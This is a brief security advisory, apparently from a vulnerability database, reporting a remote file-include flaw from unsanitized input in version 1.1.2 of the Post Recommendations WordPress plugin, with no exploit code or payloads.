The Post Recommendations plug-in for WordPress is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.
Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.
Post Recommendations 1.1.2 is vulnerable; other versions may also be affected.
